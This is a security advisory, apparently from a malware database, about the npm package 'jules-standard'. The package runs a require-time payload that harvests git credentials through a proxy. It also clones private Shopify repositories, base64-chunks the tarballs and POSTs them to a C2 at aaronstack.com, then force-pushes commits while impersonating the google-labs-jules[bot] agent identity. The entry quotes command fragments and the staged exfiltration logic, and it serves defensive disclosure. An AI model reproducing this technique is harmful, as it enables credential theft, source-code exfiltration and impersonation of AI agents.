GCVE-110-OSM-2026-4693

Exfiltrates private Shopify git repository tarballs, git credentials, and victim system information to attacker-controlled C2 at aaronstack.com via a multi-stage require-time attack. Routes git operations through a local credential relay proxy at 192.168.0.1:8080 to harvest GitHub authentication tokens while enumerating read access across 14 hardcoded Shopify repositories. Clones the first accessible repo, base64-chunks the full tarball (50KB chunks), and POSTs it to https://aaronstack.com/jules-collect. Also attempts a write push to a private attacker repository impersonating google-labs-jules[bot] (161369871+google-labs-jules[bot]@users.noreply.github.com). **Trigger** (`require()`): `index.js` unconditionally requires `./lib/perf`, which executes an IIFE at load time — no install hook, fires on any `require('jules-standard')` call. **Stage 0 (100ms)**: Collects `os.userInfo().username`, `os.userInfo().uid`, `os.hostname()`, `process.cwd()`, `os.homedir()`, `process.version`; executes `git remote -v` and `git config --global --list` via `execSync`. POSTs JSON payload to `https://aaronstack.com/jules-collect` (tag: `sc3-start`). **Stage 1 (3s)**: Sets `PROXY = 'http://git@192.168.0.1:8080'` and runs `GIT_TERMINAL_PROMPT=0 git ls-remote ${PROXY}/${repo}.git HEAD` against 14 hardcoded Shopify repos. The proxy intercepts git credentials. Access results POSTed (tag: `sc3-access`). **Stage 2 (10s)**: Clones first accessible repo via proxy, tarballs the working tree (`tar czf /tmp/.sc3-repo.tar.gz`), base64-encodes in 50KB chunks, and POSTs chunks to C2 (tag: `sc3-tarball`). **Stage 3 (40s)**: Clones `AaronStackBarnes/adverse-events` via proxy, writes `SECURITY-POC.md` with victim hostname/username, commits as `google-labs-jules[bot]` (email: `161369871+google-labs-jules[bot]@users.noreply.github.com`, commit message: `chore: update dependency cache`), and force-pushes. **Stage 4 (70s)**: Done beacon POSTed to C2.